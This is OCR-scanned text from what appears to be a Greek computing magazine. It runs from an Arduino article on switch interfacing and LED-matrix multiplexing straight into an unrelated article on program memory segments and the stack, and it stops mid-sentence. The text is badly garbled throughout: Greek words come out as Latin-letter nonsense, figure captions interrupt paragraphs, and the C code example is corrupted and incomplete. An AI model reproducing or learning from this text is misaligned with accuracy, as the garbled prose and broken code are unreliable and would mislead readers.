σταση 0 (OVolt). Με αυτὸν τον τρόπο, θα προκαλἑσουµε μὀνοι µας την 
εκφὀρτιση του πυκνωτή. Αμέσως μετὰ θα κάνουμε τον ακροδέκτη του 
εἰσοδο και θα διαβάσουμε την κατἀστασὴ του. Εάν διαβάσουμε το λογικὀ 
1 (πάνω ano 3Volt), συμπεραίνουμε ὁτι ο πυκνωτής δεν EKMOPTIOTNKE TE- 
λικἀ. Ὅμως, µόνο το πάτημα του διακόπτη 1 µπορεί να δικαιολογήσει κάτι 
τέτοιο! Αντίθετα, αν διαβάσουμε στον ακροδέκτη τη λογική κατάσταση 
0 (κάτω ano 2Volt) συμπεραίνουμε ὁτι ο πυκνωτής εκφορτἱστηκε/εκφορ- 
τίζεται κανονικἀ. Επομένως ο διακόπτης 1 δεν ἦταν πατημένος. Έμμεσα 
λοιπὸν, προσπαθώντας να MOPTIOOUHE και να εκφορτίσουµε τον πυκνωτή 
Kata βούληση, μπορούμε να τσεκάρουµε την κατάσταση κἆθε διακόπτη. 
Ουσιαστικἀ, ελέγχουμε τις συνέπειες του πατήµατος κάθε διακόπτη και 
ὀχι το ἴδιο το πάτημα ἁμεσα! 


Μπορείτε να δείτε το σχετικό κύκλωμα που φτιάξαμε γύρω απὸ το Arduino 
μας, στην εικόνα 10. ‘Ooo για τον αντίστοιχο κὠδικα, θα τον βρείτε στο 
πρόγραμμα three_states. Av Tou piete µια ματιά, θα διαπιστώσετε apt- 
ows OT! υλοποιεί τα βήματα και τους ελέγχους που περιγράψαµε napand- 
νω. Τίποτα το περίπλοκο. 


Ποιος εἰν’ ο καλύτερος; 


Αναλύσαμε τέσσερεις διαφορετικούς τρόπους για τη διασύνδεση διακο- 
nt@v στο Arduino. Όπως καταλαβαίνετε, ο καθένας ἐχει τη δικἠ του, 
ξεχωριστή αξία και χρησιμότητα. Επομένως, η απάντηση στο ποιος εἰ- 
ναι καλύτερος εξαρτάται and το τι θέλουμε να κάνουμε και τι ἐχουμε 
στη διἀθεσή µας. Ένα keypad συνδεδεμένο ψηφιακὰ εἶναι πολὺ σταθερὀ 
(δεν εἶναι επιρρεπἐς στα σφάλματα μετρήσεων), ενὼ κάνει TO project µας 
εὐχρηστο και ὀμορφο. Όλα αυτά ὁμως προὐποθέτουν ὁτι μπορούμε va 


7. O χρόνος φόρτισης (Å εκφὀρτισης) καθορίζεται απὀ τη χωρητικὀτητά του και and την αντίσταση µέσω της 
οποίας φορτίζεται (Å εκφορτίζεται). Για τα στοιχεία που έχουμε επιλέξει στο δικό µας κύκλωμα, η φόρτιση και η 
εκφόρτιση απαιτούν μόλις μερικἀ µικροδευτερὀλεπτα. 

8. Θα μπορούσαμε να απομακρύνουμε εντελώς αυτή τη µικρή αντίσταση και το κύκλωμα θα εξακολουθούσε 
να λειτουργεί κανονικά. Την προσθέσαµε στο κύκλωμα µόνο ως Eva μέτρο ασφάλειας. Βλέπετε, χωρίς την 
αντίσταση, στην περίπτωση που πατηθούν και οι δύο διακόπτες ταυτόχρονα θα βραχυκυκλωθεί η τροφοδοσία 
του κυκλώματος! 
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διαθέσουµε οκτώ ψηφιακούς ακρο- 

δέκτες! Εάν δεν μπορούμε --αλλά cecee sesos seese esses 555.55 
θέλουμε οπωσδήποτε το keypad-- 
πρέπει να ακολουθήσουμε τη μέ- 
θοδο µε τους διαιρέτες τάσεων. Με 
αυτόν τον τρόπο θα πετύχουμε TE- 
λικἀ το στὀχο µας, αλλά θα ἐχουμε 
μπλέξει µε ἑνα σύστημα ευάλωτο 
στο θόρυβο και στα σφάλματα µε- 
τρήσεων. Εάν δεν θέλουμε ντε και 
καλά keypad, αλλά χρειαζόμαστε 
μερικοὺς διακόπτες (το πολὺ μέχρι 
δέκα θα λέγαμε), η ιδανικἠ λύση 
θα ἦταν φτιάξουμε ἑναν διαιρέτη 
τάσεων. Τέλος, το κολπάκι µε τους 
δύο διακόπτες επάνω σε ἑναν ψη- 
Φφιακὸ ακροδέκτη, αποτελεἰ λύση 
ανάγκης. Πρόκειται βἐβαια για pia 
πολύ ευρηματικἠ (και ὀμορφη) Tx 
λύση, αλλά δεν χρειάζεται va Ka- a 
TAMUYOUHE σε αυτήν παρὰ μόνο σε 
σπάνιες περιπτώσεις... 


eee ο... 
LAS SE SE EE E E E 
eee eeeeee 999 
eevee ος ο οσο 
KAE E E E E E E 


1 


s.s... 


eevee 


Arduino PUR® 


Χρήσιμη οφθαλμαπάτη 


Στην αρχἠ του άρθρου υποσχε- Wud. arduinosce 

θήκαμε ὁτι θα μιλήσουμε για δύο Am pouer Ανλιος In @ 
εφαρμογές Tou multiplexing. Mż- n ΙΒ 

Χρι στιγμής ὁμως εἰδαμε μόνο τη 

μία: Την ψηφιακή διασύνδεση ενὸς 

keypad. Ta keypad, ὁπως επἰσης αναφέραμε, αποτελούν µια διάταξη Εικόνα 10 
matrix. H δεύτερη εφαρμογἠ του multiplexing που θα εξετάσουμε, nepi- Στο κυκλωματάκι 
στρέφεται και πάλι γύρω and μία διάταξη matrix. Αυτή η διάταξη όμως μας συνδέσαµε δύο 


: ; i i . , LED κι éva διακό- 
δεν περιλαμβάνει διακόπτες, αλλά LED. Με άλλα λόγια, πρὀκειται για µια πτη γιο το καθένο. 


διάταξη LED matrix. Μπορείτε να δείτε Eva τυπικό LED matrix µε διαστὰ- Οι δύο διακόπτες, 
σεις 5x7, στην εικόνα 11. όμως, καταλαμβά- 

y : ν νουν και μοιρά- 
Όπως και στην περίπτωση του keypad, η συνδεσµολογἱα των LED μέσα ζονται μία μόνο 
στο matrix δεν µας επιτρέπει va τα χειριζόµαστε ὁλα ταυτόχρονα. Κάθε ψηφιακή εἰσοδο! 


στιγμή μπορούμε να χειριζόµαστε ομαδικἁ Ta LED µιας μόνο γραμμὴς ἡ 
μιας μόνο στήλης. Σε µια πρακτικἠ εφαρμογἠ των LED matrix, ο ἐλεγχος 
όλων των γραμμών LED (ἡ όλων των OTNAWV) πραγματοποιείται ano τους 
ίδιους ακροδέκτες, καθὼς µια δεύτερη ομάδα ακροδεκτὠν ενεργοποιεἰ 
κάθε φορὰ µια μόνο στήλη (ἡ γραµµή αντἰστοιχα). Με απλά λόγια, το 
Arduino θα σαρώνει το LED matrix, µε τον ἰδιο τρόπο που σαρώνει και 
ἑνα keypad. Αυτἠ η σάρωση πρέπει να πραγματοποιείται µε πολύ μεγάλη 
ταχύτητα, ὁπως η σάρωση της εικόνας σε Hid οθὀνη CRT. Έτσι, ὀλες οι 
γραμμὲς και όλες οι στήλες θα μοιάζουν να εἶναι ταυτόχρονα ενεργοποι- 
ημένες, ενώ το μάτι µας θα βλέπει να σχηματίζονται μπροστὰ του ολο- 
κληρωμένες εικὀνες. 


Κάθε εικὀνα που φτάνει στους αισθητήρες των ματιών µας EXE! Eva pi- 
κρὀ, αλλά υπαρκτὀ χρόνο ζωής. Με άλλα λόγια, κάθε εικόνα που βλέπου- 
µε αποτυπώνεται κατά κἄποιο τρόπο στο μάτι µας και δεν εναλλάσσεται 


43 


Εικόνα 11 

Ένα τυπικὀ LED 
matrix µε 35 LED 
(5x7). Στη µία 
εικόνα φαίνεται η 
συσκευασία του 
matrix Και η διάτα- 
EN των ακροδεκτώὠν 
του, ενώ στην 
ἄλλη εμφανίζονται 
οι EOWTEPIKEG OUV- 
δέσεις. 
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ακαριαἰα µε την enòpevn?. Αυτὸς εἶναι και ο λὀγος για τον οποίο δεν uno- 
ρούμε να δούμε οσοδήποτε γρήγορες κινήσεις. Πα παράδειγµα, όταν Eva 
ποδήλατο κινείται σχετικἀ γρήγορα, δεν βλέπουμε κάθε ακτίνα της ρόδας 
καθαρὰ. Βλέπουμε ὁμως µια σκιά, να απλώνεται στην περιοχἠ and την 
οποία διέρχονται οι ακτίνες. Το ἴδιο συμβαίνει στις οθὀνες CRT και στα 
LED matrix. Μέχρι να σβήσει and το μάτι µας η εικόνα της πρὠτης Ypap- 
μής, ¿xouv ανάψει διαδοχικἁ και ὀλες οι επὀµενες! Με αυτό τον τρόπο, 
η πλήρης εικόνα συγκροτείται στο μάτι µας αυτόματα, ano τις επιµέρους 
γραμμές. AUTO το φαινόμενο ονομάζεται POV (Persistence Of Vision). 


Πρωτόγονη αλλά µαγκιόρα! 


Στην εικόνα 11 µπορείτε να δείτε 
τους ακροδέκτες και την εσωτερικἠ 
σύνδεση καθενὸς εξ αυτών, σε Eva 
τυπικὀ LED matrix 5x7. Στην επὀ- 
µενη εικόνα φαίνεται το κύκλωμα 
που σχηµατίσαµε για τη σύνδεση 
του matrix στο Arduino µας. Το kù- 
κλωμα εἶναι μάλλον περἱπλοκο και 
η «οθόνη» θα έχει πολύ μικρὴ ava- 
λυση. Ωστόσο, ο προγραμματισμὸς 
ενὸς τέτοιου συστήματος αποτελεί 
µια καλἠ (και διασκεδαστικἠ) npo- 
γραμματιστικἠ πρόκληση. Προσοχἠ 
σε ἑνα τέτοιο κύκλωμα χρειάζεται 
η διασύνδεση των αντιστάσεων: 
Πρέπει να τοποθετηθούν σε σειρἆ 
µε Ta LED της ομάδας που ελἐγ- 
χεται ταυτόχρονα. Αν δηλαδή το 
matrix σαρώνεται γραμμὴ προς 
γραμμή, οι αντιστάσεις πρέπει va 
μπουν στις στήλες και αντἰστροφα! 
Οι αντιστάσεις, βλέπετε, αφήνουν 
να περάσει συγκεκριμένη «ποσότη- 
τα» ρεύματος". Έτσι, αν η σάρωση 
γίνεται κατὰ γραμμὴ και βάλουμε 
τις αντιστάσεις στις γραμμές, θα 
προκύψει Eva ἁσχημο φαινόμενο: 
Σε µια γραμμὴ που ανάβουν δύο 
LED, το καθένα θα ndipvel το μισὸ ρεύμα απὀ αυτό που επιτρέπει η αντἰ- 
σταση, ενὠ σε µια γραμμὴ που ανάβουν πἐντε LED, το καθένα θα παίρνει 
το va πέμπτο του ρεύματος που επιτρέπει η αντίσταση. Έτσι, Ta «pixel» 
της πρώτης γραμμὴς εἶναι πιο φωτεινά ano εκείνα της δεύτερης... 


O κὠδικας που γράψαμε για το κύκλωμα της εικόνας 12, βρίσκεται στο 
sketch led_matrix. fia τη διαδοχικἠ ενεργοποίηση των γραμμῶν Tou LED 
matrix, χρησιμοποιούνται οι πρώτοι πέντε ακροδέκτες του PORTB (ακρο- 
δέκτες 8 έως 12). ‘Ooo για τον ἐλεγχο των LED, στη γραμμὴ που εἰναι 
κάθε στιγμή ενεργοποιημένη, επιστρατεύονται οι πρῶτοι ENTA ακροδέ- 


9. Ένας κολλημένος ηλεκτρονικὀς μηχανικὀς θα ἐλεγε ὁτι οι αισθητήρες των ματιών µας (τα ραβδία και Ta 
κονία) παρουσιάζουν παρασιτικἠ χωρητικότητα και συμπεριφέρονται σαν μικροί πυκνωτές. Το εντυπωσιακὀ εἶναι 
ὁτι δεν θα ἐπεφτε εντελώς έξω :) 

10. Το ρεύμα καθορίζεται and τη συνολική αντίσταση ενός κλάδου και OX! aNd Eva μεμονωμένο στοιχείο. 
Ωστόσο, χωρίς να μπούμε σε κουραστικἐς λεπτομέρειες, στο σενάριο που εξετάζουμε το ρεύμα καθορίζεται 
περισσότερο απὀ τις αντιστάσεις και πολύ λιγότερο and τα ἴδια τα LED. 


Arduino the way of the hacker! (Πέρος 2/k) 


ιά 


e... 


eeeee eevee 


Εικόνα 12 

Το κύκλωμα που φτιάξαμε για την 
οδήγηση του LED matrix ano To 
Arduino µας. Στα αριστερά φαίνεται 
και η διασύνδεση NEVTE διακοπτών, 
µε τη βοήθεια ενός διαιρέτη τάσεων. 
Το πρώτο προγραμματάκι µας (led_ 
matrix) αγνοεί τους διακόπτες και 
προβάλει στο matrix ἑνα ανάδελτα. 
Το δεύτερο npóypappa (led_matrix_ 
app) εμφανίζει μία φωτεινή κουκίδα 
και τη µετακινεί, σύμφωνα µε τα na- 
τήματα των διακοπτών. Μπορείτε va 
φτιάξετε κάτι παρόμοιο μόνοι σας; 


Arduino 


κτες του PORTC (ακροδέκτες 0 ἑως 6). H κατάσταση για τα LED κάθε 
γραμμὴς περιγράφεται σε vav πἰνακα πέντε στοιχείων (Eva για κάθε 
γραμμὴ). O Πίνακας λειτουργεί σαν frame buffer για την οθὀνη µας και õi- 


νοντάς του το κατάλληλο περιεχό- 
μενο, καταφέραμε να εμφανίσουμε 
ἑνα ανάδελτα ;-) Όπως βλέπετε, 
δίπλα στο LED matrix συνδέσαµε 
και πέντε διακόπτες, µε τη βοήθεια 
ενὸς διαιρέτη τάσεων. Μπορείτε va 
γράψετε ἑνα πρόγραµµα, που va 
λαμβάνει υπόψη του τα πατήμα- 
τα των κουμπιών και να μετακινεὶ 
μια φωτεινἠ κουκίδα στο matrix; 
Σας προκαλούµε va το δοκιμάσε- 
τε! Εμεὶς το έχουμε κάνει ἡδη και 
ο OXETIKOG κὠδικας βρἰσκεται στο 
led_matrix_app. Πιστεύουμε OT! 
δεν θα KAEWETE και περιμένουμε να 
δούμε τις δικές σας υλοποιήσεις. 


FF Ἔ 


K ή 


Άλλωστε η συγκεκριμένη ἄσκηση αποτελεὶ την καλύτερη προετοιμασία Εικόνα 13 
για το επόμενο άρθρο της σειράς. Σε αυτό θα δούμε µια λύση για να ano- Ένα ανάδελτα δίνει 
δεσμεύσουμε τους περισσότερους απὀ τους ακροδέκτες του Arduino και “^ov aépa στο LED 


θα γνωρίσουμε την προγραμματιστικἠ δομή των παλιών παιχνιδιὼν. Με 


matrix! Του προσ- 
δίδει κύρος, πώς να 


την ευκαιρία, παἰζει να φτιάξουμε και μερικὰ παιχνίδια :D το κάνουμε ;) 


45 
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‘Eva πρόγραμμα, στη µορφή που το γράφει ο δηµιουργόςτου, αποτελείται 
ano εντολὲς κατανοητές μόνο ano ανθρώπους και ονομάζεται πηγαίος 
κώδικας ἡ απλά κὠδικας. Αυτὸς ο κὠδικας περνάει ano µια επεξεργασία 
µε ειδικἀ εργαλεία, που ονομάζονται μεταγλωττιστές (compilers) ἡ δι- 
ερμηνευτές (interpreters), για να µεταφραστείἰ σε µια γλὠσσα κατανοη- 
τὴ povot ano τον επεξεργαστὴ του υπολογιστή. Τώρα θα αναρωτηθούν 
κάποιοι: Σε τι διαφέρει ἑνας compiler ano vav interpreter; Σε πολλὰ! 
Ένας compiler μεταφράζει ολόκληρο τον πηγαἰο κὠδικα και παράγει Eva 
ολοκληρωμένο πρὀγραμμα, το οποίο ονομάζουμε εκτελέἑσιµο (βλ., π.χ., 
τα γνωστά αρχεία exe στα Windows). Ένα εκτελἑσιµο αρχείο αποτελεἰ- 
Tal ano εντολὲς στη λεγόμενη γλὠσσα μηχανής. Όπως αντιλαμβάνεστε, 
αυτἠ η γλῶσσα εἶναι κατανοητή ano τον υπολογιστή χωρὶς va απαιτού- 
νται περαιτέρω μεταφράσεις. Οι μεταγλωττιστὲς χρησιμοποιούνται σε 
πηγαίο κώδικα που γράφτηκε σε C, C++, Pascal κ.ἀ. Οι διερμηνευτὲς 
(interpreters) ano την GAAn μεταφράζουν τον πηγαἰο κὠδικα εντολή προς 
εντολἠ. Συνήθως φορτώνουν τον πηγαἰο κὠδικα στη μνήμη, διαβάζουν 
μία γραμμὴ, την εκτελούν και προχωρούν στην επόμενη. Οἱ διερµηνευ- 
τές, λοιπὸν, δεν παράγουν κανένα νέο αρχείο. Διερμηνευτές υπάρχουν 
για πολλὲς γλὠσσες και μᾶλλον για OAEG ὁσες χρησιμοποιούνται στο web 
(PHP, ASP κ.ἀ.). 


Φυσικά, κάθε προσέγγιση ἐχει τα καλά αλλά και τα κακὰ της: ‘Eva µετα- 
γλωττισμένο πρόγραμμα εκτελείται πολύ πιο γρήγορα ano κάποιο που 
διερμηνεύεται γραμμὴ προς γραμμή. Επίσης, ¿va µεταγλωττισμένο πρὀ- 
γραμμα εἶναι σίγουρα απαλλαγμένο ano κάθε συντακτικὀ λάθος. Μιλάμε 
για τα λάθη που μπορεί να κἀνει ἑνας προγραμματιστἠς επειδἠ πληκτρο- 
Aoyei βιαστικὰ ἡ γιατὶ ξέχασε ἑναν απαραίτητο χαρακτήρα (π.χ. εκείνον 
που τερματίζει μία γραμμὴ κὠδικα). Αυτό για την απουσία συντακτικὠν 
σφαλμάτων εἶναι βέβαιο, διότι πριν ξεκινήσει την εργασία του ἑνας µετα- 
γλωττιστής, εξασφαλίζει ὁτι ο πηγαίος κὠδικας εἶναι 100% σωστὰ ypay- 
μένος. Ένα εκτελέσιμο πρὀγραμμα εἶναι --τουλάχιστον θεωρητικἁ-- πολὺ 
δύσκολο να διαβαστεἰ ano κάποιον τρίτο, ο οποίος προσπαθεἰ να μάθει 
την εσωτερικἠ/κρυφἠ λογικἠ ενὸς προγράμματος. 


Ano την ἄλλη, τα προγράµµατα που περνάνε ano διερμηνευτὲς εἶναι πολὺ 
πιο εὐκολα στην συντήρηση και στην επέκταση, αφού av µη τι ἆλλο 
δεν απαιτεἰται η χρονοβόρα διαδικασία Tou compilation κάθε φορά που 
αλλάζουμε/δοκιµάζουµε κἀτι. Πα προγράµµατα στα οποία η ταχύτητα 
δεν εἶναι κρίσιμη και στα οποία επεµβαίνουµε συχνὰ, οι διερμηνευόµενες 
(interpreted) γλὠσσες εἶναι ιδανικἐς! 


Πα λόγους πληρότητας, πρέπει να αναφέρουμε και µια τρίτη κατηγορία 
προγραμμάτων. Πρόκειται για εκείνα που εκτελούνται σε εικονικἐς un- 
χανὲς (virtual machines?) και δεν µεταγλωττίζονται σε γλὠσσα μηχανἠς 
αλλά σε µία γλὠσσα κατανοητἠ απὸ την εικονικἠ μηχανή. Αυτή η προσέγ- 
γιση ακολουθεἰται σε γλὠσσες όπως η Java και για το γνωστό Microsoft 
.Net. Βέβαια µη νομίζετε OT! αυτή η ιστορἱα εἰναι και πολὺ καινούρια! Τη 
10ετία του 1980 υπήρχε το περίφημο P-System της Pascal, για το οποίο 
εἶχαν γραφτεί πολλὲς εφαρμογές! Το κύριο πλεονέκτημα που προκύπτει 
ano τη χρήση µιας εικονικἠς μηχανἠς εἶναι η φορητότητα. Ένα πρὀγραμ- 
μα που γράφτηκε για µία εικονικἠ μηχανή θα μπορεί να εκτελεἰται σε 
κάθε υπολογιστή και σε κάθε λειτουργικὀ σύστημα, στο οποἰο τρέχει η 
σχετικἠ εικονικἠ μηχανή. Όσο για την ταχύτητα εκτέλεσης, Eva πρὀ- 
γραμμα που τρέχει σε εικονικἠ μηχανὴ εἶναι συνήθως ταχύτερο απὀ Eva 


1. Μόνο; Χμ, τέλος πάντων ;) 
2. Ὄχι, δεν εννοούμε hypervizors ὁπως To VMWare ἡ To VirtualBox. 
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διερμηνευόμενο (interpreted) αλλά πιο αργὀ ano Eva µεταγλωττισμένο 
σε γλὠσσα μηχανής. 


Η μνήμη ενὸς προγράµµατος 


Ας αφήσουμε την προετοιµασἰα κι ας προχωρήσουμε τώρα στην εκτἐλεση 
EVOG προγράµµατος. Θα εστιάσουµε στα µεταγλωττισμένα προγράµµατα, 
γιατὶ ακριβώς τέτοια χρησιμοποιούμε τις περισσότερες φορὲς. Κάθε πρὀ- 
γράμμα που εκτελείται στον υπολογιστή δεσμεύει Eva µέρος της μνήμης 
RAM, το οποὶο χωρίζει σε τρία διαφορετικἁ τμήματα: 


ο Το τµήµα του Κώδικα (code segment) 

ο Το τµήµα των Δεδομένων (data segment) 

ο Το τµήµα της Στοίβας (stack) 
Πριν αναλύσουμε Eva προς Eva αυτά τα τμήματα πρέπει να πούμε àiya 
λόγια για τη μνήμη. H μνήμη θυμίζει τις κλειδοθήκες στη reception ενὸς 
ξενοδοχείου. Οι κλειδοθήκες ἐχουν γραμμένο απ΄ ἐξω vav αριθμό, onoi- 
ος αντιστοιχεἰ σε κἄποιο δωμάτιο και μέσα τους ἐχουν το αντίστοιχο κλει- 
di. Κάπως ἑτσι εἶναι και η μνήμη του υπολογιστή µας: Εἶναι χωρισμένη 
σε εκατομμύρια κουτάκια, σε καθένα απὀ τα οποἰα ἐχει αντιστοιχηθεὶ 
ἑνας αριθµὀς. Οι αριθμοί αυτοί αποτελούν τις λεγόμενες διευθύνσεις της 
μνήμης, ενώ τα κουτάκια αποτελούν τους αποθηκευτικούς χώρους για 
τα δεδομένα. Κάθε κουτάκι βέβαια, μπορεί να δεχτεἰ συγκεκριμένου pE- 
γέθους δεδομένα. Αν τα δεδοµένα που θέλουμε να αποθηκεύσουµε δεν 
χωράνε σε Eva κουτάκι (σχεδόν KAGE φορά, δηλαδὴ) τότε το πρὀγραμμά 
μας δεσμεύει και χρησιμοποιεί πολλά κουτάκια μαζί. Όπως αντιλαμβάνε- 
στε, αρκετά απὀ τα κουτάκια της μνήμης δεν γεμίζουν ποτὲ -- ἡ τέλος 
πάντων παραμένουν ἀδεια μέχρι να τα δεσμεύσει και να τα γεμίσει K- 
ποιο πρὀγραμμα. AUTO ὁμως δεν σημαίνει ὁτι δεν xouv διεύθυνση. Οι 
διευθύνσεις υφίστανται και ισχύουν πάντα, για όλα τα κουτάκια, εἶτε 
χρησιμοποιούνται εἰτε ὀχι! Κρατήστε αυτές τις πληροφορἱες διότι θα µας 
χρειαστούν στη συνέχεια... 


Τμήμα κὠδικα (code segment) 


Σε AUTO το κομμάτι της μνήμης αποθηκεύονται ὁλες οι EVTOAEG TOU προ- 
γρἀμματὸς µας. Κατά τη διάρκεια εκτέλεσης κανένα πρὀγραμμα δεν uno- 
pei να γράψει δεδομένα σε AUTO το μέρος. Εἶναι μόνο για διάβασμα (Read 
Only). Δείτε για παράδειγµα το ακὀλουθο πρόγραµµα σε C. Αν το µετα- 
γλωττίσουμε και TO εκτελἐσουµε, όλες οι εντολὲς που το απαρτίζουν --σε 
γλὠσσα µηχανἠς, NAEov--, θα τοποθετηθούν στην περιοχἠ του κὠδικα. 

int. i; 

int j=0; 

int a[100][100]; 


/* O€0E τα ey της κύριας διαγωνίου ενός πίνακα με rai yar 
τα υπόλοιπα µε ϐ */ -- Ag z 


for (i = 03; i < 100; i++) 
for (j = 0; j < 100; j++) 
if (1653) 
a[i][j] 
else 


a[i][j] 
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Τα σχόλια, ὁπως αυτὀ της πρώτης γραμμής, αφορούν τον προγραμματι- 
OTN -- ἡ τέλος πάντων τους ανθρώπους που ενδέχεται να διαβάσουν τον 
πηγαίο κὠδικα. Μ΄ ἀλλα λόγια, τα σχόλια δεν xouv καμία χρησιμότητα 
για τον υπολογιστή και οὐτε περιλαμβάνονται στο εκτελέσιμο αρχείο, 
οὐτε µεταγλωττίζονται µε κάποιο τρόπο. Όσο για τις δηλώσεις µεταβλη- 
τών, οὐτε κι αυτὲς µεταγλωττίζονται. Με αυτὲς θα ασχοληθούμε σε λίγο. 


Τμήμα δεδομένων (data segment) 


Στην περιοχὴ auth τοποθετούνται όλες οι καθολικὲς μεταβλητὲς (global 
variables) του προγράμματος. Καθολικές μεταβλητὲς εἶναι εκείνες στις 
οποίες ¿xouv πρόσβαση ὁλες οι συναρτήσεις (functions) και τα υποπρο- 
γράμματα ἡ διαδικασίες (procedures) ενὸς προγράµµατος. Στη συγκε- 
κριμένη περιοχἠ το πρὀγραμμα μπορεἰ να διαβάζει και φυσικά να γράφει 
ελεύθερα (Read-Write). Ας επιστρέψουµε στο προηγούμενο παράδειγµα. 
Οιτρεις δηλώσεις μεταβλητών (i, j και a) στις πρώτες γραμμές, δηλώνουν 
στο μεταγλωττιστή την ἑκταση και τον τρόπο χρήσης του αποθηκευτικού 
χώρου που ἐχει ανάγκη το πρόγραµµα. Κατὰ την εκτέλεση του προγράμ- 
ματος, αυτὸς ο αποθηκευτικὀς χώρος θα αποτελεί To data section. 


Τμήμα στοίβας (stack) 


Ed αποθηκεύονται δύο ειδὠν δεδομένα: Οι τοπικὲς μεταβλητές και ορι- 
σμένες διευθύνσεις. Τοπικὲς μεταβλητές ονομάζονται εκείνες που δηλώ- 
νονται εντὸς µιας συνάρτησης ἡ ενὸς υποπρογράµμματος και οι οποίες 
ισχύουν (διατηρούν την τιµή τους) μόνον εκεἰ μέσα, δηλαδή μόνο στα 
πλαίσια της συνάρτησης ἡ του υποπρογράμματος. Όσο για εκείνες τις 
«ορισμένες διευθύνσεις» που αναφέραμε μόλις, αυτές αποτελούν συνἠ- 
θως διευθύνσεις στην περιοχή του κὠδικα (code segment). Σκεφτείτε την 
περίπτωση nou ἑνα πρὀγραμμα καλεἰ µια συνάρτηση. Όταν ολοκληρωθεὶ 
η εκτέλεση της συνάρτησης το πρὀγραμμα πρέπει να «επιστρέψει» στην 
προηγούμενη θέση και να συνεχίσει ano εκεἰ. Ὅμως ποια ἧταν η npon- 
γούμενη θέση; E, λοιπὀν, η διεύθυνση αυτἠς της θέσης εἶναι ano εκείνες 
που αποθηκεύονται στη στοίβα. H εν λόγω περιοχἠ της μνήμης παίρνει 
το ὀνομά της ano τη δομὴ δεδομένων που ονομάζεται στοίβα” και εἶναι 
οργανωμένη µε αυτὸν ακριβώς τον τρόπο. Πα να γίνει κατανοητή αυτή η 
δομή, θα αναφέρουμε το κλασικὀ παράδειγμα µε τα πιάτα: Φανταστείτε 
ὁτι πρέπει να πλύνουμε και να σκουπίσουµε (λἐμε τώρα!) δέκα πιάτα. Ka- 
θὼς τα NAEVOUHE Eva προς Eva, τα τοποθετούμε το Eva επάνω στο ἆλλο, 
σχηματίζοντας µε αυτὸν τον τρόπο µια στοίβα. Στη συνέχεια ξεκινάμε TO 
σκοὐπισμά τους, παἱρνοντας το πιάτο που βρίσκεται στην κορυφὴ της 
στοίβας. Δηλαδή, το πιάτο που πλύθηκε τελευταίο! O τρόπος που διαχει- 
ριζόμαστε τα πιάτα σε αυτό το σενάριο εἶναι ὁμοιος τον τρόπο που χειρι- 
ζόμαστε τα δεδοµένα σε μία δομή στοίβας. Αυτὸς ο χειρισμός μπορεί va 
περιγραφεί στα γρήγορα αλλά µε ακρἰβεια, ano τις λέξεις: Last In - First 
Out (LIFO). Το κύριο χαρακτηριστικὀ σε µία στοίβα λοιπόν, εἶναι το ὁτι 
ὁποιο στοιχείο μπει τελευταίο, θα εἶναι το πρὠτο που θα βγει! 


Αν και εἶναι προφανὲς, πρέπει να υπογραμμίσουμε οτι σε αυτή την περι- 
οχἠ της μνήμης (στο λεγόμενο stack) δεν επιτρέπεται µόνο η ανάγνωση, 
αλλὰ και το γράψιμο. Με άλλα λόγια, το stack εἶναι non Read-Only, ὁπως 
ἄλλωστε και το data segment. 


3.. Βλέπε το σχετικό άρθρο της Wikipedia: http://en.wikipedia.org/wiki/Stack_%28data_structure%29 
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O μηχανισμός της στοίβας 


Όπως εἶπαμε, η στοἰβα αποτελεἰ µια περιοχἠ της μνήμης RAM την onoia 
δεσμεύει το εκάστοτε πρὀγραμμα κατὰ την EKTEAEON του. H στοίβα όμως 
δεν ἐχει πάντοτε το ἰδιο μέγεθος. Όταν προσθέτουμε δεδομένα το yE- 
80c της αυξάνεται, και όταν αφαιρούμε δεδοµένα µικραίνει. Επομένως, 
η στοίβα αποτελεί Eva κατασκεύασμα µε µεταβαλλόμενο μέγεθος. Έτσι, 
προκύπτει Eva εὐλογο ερώτημα: Πώς γνωρίζει ο υπολογιστής ποιο εἶναι 
το τελευταῖο στοιχείο που προστέθηκε στη στοίβα, WOTE να µπορεἰ va 
το αφαιρέσει, ὁταν χρειαστεί; Πα το σκοπὸ αυτό επιστρατεύεται Evac 
δείκτης (pointer). Σκεφτείτε τους δείκτες σαν διευθύνσεις μνήμης, σαν 
αριθμούς δηλαδή, οι οποίοι δείχνουν συγκεκριµένα κουτάκια της μνήμης. 
O δεἰκτης για τη στοἰβα ἐχει το ευρηµατικὀ ὀνομα Δείκτης Στοΐβας (ESP 
ano το Extended Stack Pointer ἡ απλά Stack Pointer) και προσδιορίζει 
την «κορυφή» της στοίβας. Με απλά λόγια, δείχνει τη θέση μνήμης στην 
οποία θα γραφτεἰ οτιδήποτε θελήσουμµε να προσθέσουµε στη στοίβα. 


Εἰπαμε αρχικά ότι στη στοίβα αποθηκεύονται οι τοπικές μεταβλητὲς και 
ορισμένες διευθύνσεις. AUTO φυσικά ισχύει, αλλά µη νομίζετε OT! στη 
στοίβα ἐχει πρόσβαση µόνο κάποιος αυτόματος μηχανισμός, ξεκομμένος 
ano το εκάστοτε πρὀγραμμα. Κάθε πρὀγραμμα μπορεἰ να προσθέτει ἡ va 
αφαιρεἰ δεδομένα and τη στοίβα του, κατά βούληση! Αυτό γίνεται µε δύο 
λειτουργίες που ονομάζονται push και pop αντίστοιχα. Και κάπου εδὠ 
πρέπει ν΄ αναφέρουμε δύο ONHAVTIKEG λεπτομέρειες: 


1. Στις περισσότερες υλοποιήσεις στοίβας, ο Δείκτης Στοίβας peig- 
νεται OOO προσθέτουμε δεδομένα και αυξάνεται ὁσο αφαιρούμε 
δεδομένα. Με ἀλλα λόγια, η περιοχἠ της μνήμης στην οποἱα βρἰ- 
σκεται µια στοίβα γεμίζει απὀ το τέλος προς την αρχή. 

2. Στους Ἄλμπιτους επεξεργαστὲς οι στοίβες φιλοξενούν δεδομένα 
των 32bit. Επομένως, Eva στοιχείο της στοίβας καταλαμβάνει 4 
bytes. 

Αν ὁλα αυτά σας φάνηκαν περίπλοκα, σκεφτεἰτε το ακόλουθο παράδειγ- 
μα: Ας υποθέσουμε ὁτι έχουν δεσμευτεί 256 bytes μνήμης για τη δημι- 
ουργία µιας στοἰβας. Επειδἠ κάθε στοιχεἰο της στοίβας ἐχει μέγεθος 4byte 
η στοίβα θα µπορεὶ να φιλοξενήσει 256 / 4 = 64 στοιχεία. Αρχικἁ, όταν 
η στοἰβα µας εἶναι ακόµα ἁδεια, ο Δείκτης Στοίβας (Stack Pointer) θα ἐχει 
την τιµή 256. Προσθέτοντας Eva στοιχείο στη στοίβα (κάτι τέτοιο NOPE! 
